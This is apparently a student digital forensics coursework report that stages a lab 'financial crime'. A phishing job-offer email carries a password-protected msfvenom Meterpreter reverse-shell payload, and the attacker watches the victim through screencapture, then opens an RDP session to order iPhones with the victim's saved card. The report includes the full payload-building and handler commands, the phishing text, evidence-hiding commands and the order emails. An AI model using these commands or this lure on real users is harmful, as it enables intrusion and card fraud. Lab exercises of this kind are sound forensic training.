

Digital Forensics

Coursework - Task 3

Team C - Sakthi, Pranjal, Bala, Sneha, Arya, Mehul

Theme: Financial Crime

Introduction:

The attacker hacks the victims wireless connection and sends a phishing email describing about the possible job openings available in USA with the job description attached to the email but the attachment contains the reverse shell payload. After sending the phishing email, the attacker initiates msfconsole and listens for any active sessions. By mistake, the victim executes the payload which establishes the meterpreter session. The attacker monitors the user activities using shell commands, possible remote screen capturing techniques. In the meantime, the attacker finds out that the victim is ordering products from [amazon.com](https://www.amazon.com) site. The attacker launches the remote desktop connection with the victim machine and orders his exclusive products using the victim's login credentials. How the victim finds the crime and recovers from it, is shown in the execution steps using the evidences collected with the timestamp.

Setup:

The entire task is executed within the Oracle VirtualBox. The attacker machine is Kali Linux and the victim machine is Windows 10 Home. Both the machines are setup in the same wireless connection which is stimulated using Natnetwork option in Oracle VirtualBox

Analysis:

Setoolkit is extensively tested and verified to create the malware payload in pdf format which is widely used method to define the job description. Reverse shell payload is created in pdf format, but when it is executed in the victim's machine, the meterpreter is not able to establish a stable active session. Finalised within the team to utilise msfvenom to create the payload.

Execution:

Step: 1 - Reverse Shell payload Creation:

Below command is utilised to create the payload in executable format. The collected payload is password protected and send out with the phishing email from the attacker machine.

```
# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.6 lport=4455 -f exe > jobroles.exe
# rar a -p jobroles.rar jobroles.exe
```

Evidence: A - Phishing Email

Step: 2 - Enabling the Reverse_tcp Exploit:

Reverse_tcp payload is set along with the other options to enable the exploit so that the hacker can establish a session with the victim's machine. Once the victim opens the email and executes the payload without issues, meterpreter session is established. Attacker uses screen capture technique to monitor victim's activities on the Windows client.

```
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.100.6
msf6 exploit(multi/handler) > set lport 4455
```

msf6 exploit(multi/handler) > exploit

Meterpreter > screencapture

Evidence: B - Screencapture session Screenshots

Step: 3 - RDP Session

Hacker is able to watch the victim's activities without interruption using screen capture. On such occasion, the victim logs into amazon account and makes orders using saved credit card. The attacker takes the RDP session using xfreerdp client, changes the address to his home address and orders two iPhone 15 using the saved credit card.

> xfreerdp /v:192.168.100.5 /u:admin

Evidence: C - RDP session Screenshots

Evidence D - Victim Order Confirmation

Step: 4 - Account Closure

Victim receives the order confirmation of two iPhone 15 to his email address. Victim panics and reaches out to Amazon Customer Service, cancels the order, files a complaint using Victim's details and proceeds with Account closure upon advice.

Evidence E - Attacker Order Confirmation

Location of Evidences with Timestamp:

A - Phishing Email - Windows - documents folder - 23/11/2023 11:25PM

B - Screencapture Screenshots - /root - 23/11/2023 11:44.50PM

C - Victim Order Confirmation - documents folder - 23/11/2023 11:45PM

D - RDP Session Verification - Redundant data - 23/11/2023 11:54:27PM

Event Logs - event id ; 4624

E - Attacker Order Confirmation - documents folder - 23/11/2023 11:57PM

Hidden files and Encryption:

Steganography and other hidden methods are used to hide the evidence in kali and windows.

PGP Encryption is used to encrypt pdf files and located in documents folder with key in Zip folder

steghide embed -cf cover_image.jpg -ef hidden_image.jpg

Passphrase: kali

attrib +h +r +s "RDP Wrap Library"

Hard Drive Partition:

Disk Management is utilised to partition the hard disk. Each partition is executed to host Windows client and Kali Linux images into it separately.

Final Linux and Kali images are loaded into Hard drive.

Job Information US - Software Engineer III and more!

Sakthi Kandaswamy <sakthixyz@hotmail.com>

Thu 11/23/2023 11:25 PM

To:singhasurain@outlook.com <singhasurain@outlook.com>

■ 1 attachments (43 KB)

jobroles.rar;

Dear Surain,

I hope this email finds you well. We are hiring recruiters based in USA and looking at your LinkedIn profile, we are reaching out to inform you about few fantastic job opportunities at the location in Sunnyvale, California, USA.

We pride ourselves on fostering innovation and providing a dynamic and collaborative work environment. We believe that talented individuals like yourself can contribute significantly to our team and help us achieve our goals. To learn more about the details of the position and to apply, please download the job descriptions bundled and attached to the email using the password - role123

We are looking for candidates who possess strong technical skills, a passion for problem-solving, and a commitment to excellence. If you think you have what it takes to be a valuable asset to our team, we encourage you to review the attached document and submit your application.

Good Salary, Best Bonus package will be arranged with travel expenses. If you have any questions or need further information, please feel free to reply back at anytime.

We look forward to reviewing your application and potentially welcoming you to our team.

Best regards,
Sakthi Kandaswamy

Your Amazon.co.uk order of "Tango Dark Berry Sugar Free..."

Amazon.co.uk <auto-confirm@amazon.co.uk>

Thu 11/23/2023 11:45 PM

To:singhasurain@outlook.com <singhasurain@outlook.com>



[Your Orders](#) | [Your Account](#) | [Amazon.co.uk](#)

Order Confirmation

Order # [206-6271015-5679501](#)

Hello,

Thanks for your order. We'll let you know once your item(s) have dispatched. Your estimated delivery date is indicated below. You can view the status of your order or make changes to it by visiting [Your Orders](#) on Amazon.co.uk.

Arriving:

Monday, November 27

Your delivery option:

Standard Delivery

Your order will be sent to:

**singhasurain
Swansea
United Kingdom**

[View order details](#)

Order Total:

£2.50

Selected Payment
Method:

Mastercard



[Tango Dark Berry Sugar Free Soft Drink, 6 x 330ml](#)

£2.50

Sold by: Amazon EU S.a.r.L.

If you use a mobile device, you can receive notifications about the delivery of your package and track it from our free [Amazon app](#).

We hope to see you again soon.

Amazon.co.uk

Bargain recommendations



Lucozade Zero Fizzy Drink,
Pink...
£3.00



Lucozade Zero Fizzy Drink,
Pink...
£2.49

Unless otherwise noted, items sold by Amazon EU Sarl are subject to Value Added Tax based on country of delivery in accordance with the EU laws on distance selling. If your order contains one or more items from a seller other than Amazon EU Sarl, it may also be subject to VAT, depending upon the seller's business policies and the location of their operations. Learn more about [VAT and seller information](#).

This e-mail is only an acknowledgement of receipt of your order. Your contract to purchase these items is not complete until we send you an e-mail notifying you that the items have been dispatched.

Please note: This e-mail was sent from a notification-only address that can't accept incoming e-mail. Please do not reply to this message.

Your Amazon.co.uk order of "Apple iPhone 15 Pro (128..." and 1 more item(s)

Amazon.co.uk <auto-confirm@amazon.co.uk>

Thu 11/23/2023 11:57 PM

To:singhasurain@outlook.com <singhasurain@outlook.com>



[Your Orders](#) | [Your Account](#) | [Amazon.co.uk](#)

Order Confirmation

Order # [206-9213214-8422706](#)

Hello,

Thanks for your order. We'll let you know once your item(s) have dispatched. Your estimated delivery date is indicated below. You can view the status of your order or make changes to it by visiting [Your Orders](#) on Amazon.co.uk.

Arriving:

Monday, November 27

Your delivery option:

Standard Delivery

[View order details](#)

Your order will be sent to:

Sakthi

Swansea

United Kingdom

Order Total:

GBP 1758.00

Payment total:

***USD 2257.87**

Selected Payment Method:

Mastercard

*Exchange rate guarantee fee: USD 57.75

Exchange rate guaranteed for this order: 1 GBP = 1.2843416 USD

Exchange rate guarantee fee above the European Central Bank reference rate: 2.44%



[Apple iPhone 15 Pro \(128 GB\) - Blue Titanium](#)

Sold by: Amazon EU S.a.r.L.

£815.83



Apple iPhone 15 (128 GB) - Black

Sold by: Amazon EU S.a.r.L.

£649.17

If you use a mobile device, you can receive notifications about the delivery of your package and track it from our free [Amazon app](#).

We hope to see you again soon.

Amazon.co.uk

Customers Who Bought Items in Your Order Also Bought



Apple iPhone 15 Pro Silicone
Case...

£49.00



TORRAS for iPhone 15 Pro
Screen...

£22.09

Unless otherwise noted, items sold by Amazon EU Sarl are subject to Value Added Tax based on country of delivery in accordance with the EU laws on distance selling. If your order contains one or more items from a seller other than Amazon EU Sarl, it may also be subject to VAT, depending upon the seller's business policies and the location of their operations. Learn more about [VAT and seller information](#).

*Amazon Currency Converter is operated by Amazon Services Europe SARL, and your use of Amazon Currency Converter is governed by the Amazon Currency Converter [Terms and Conditions](#).

This e-mail is only an acknowledgement of receipt of your order. Your contract to purchase these items is not complete until we send you an e-mail notifying you that the items have been dispatched.

Please note: This e-mail was sent from a notification-only address that can't accept incoming e-mail. Please do not reply to this message.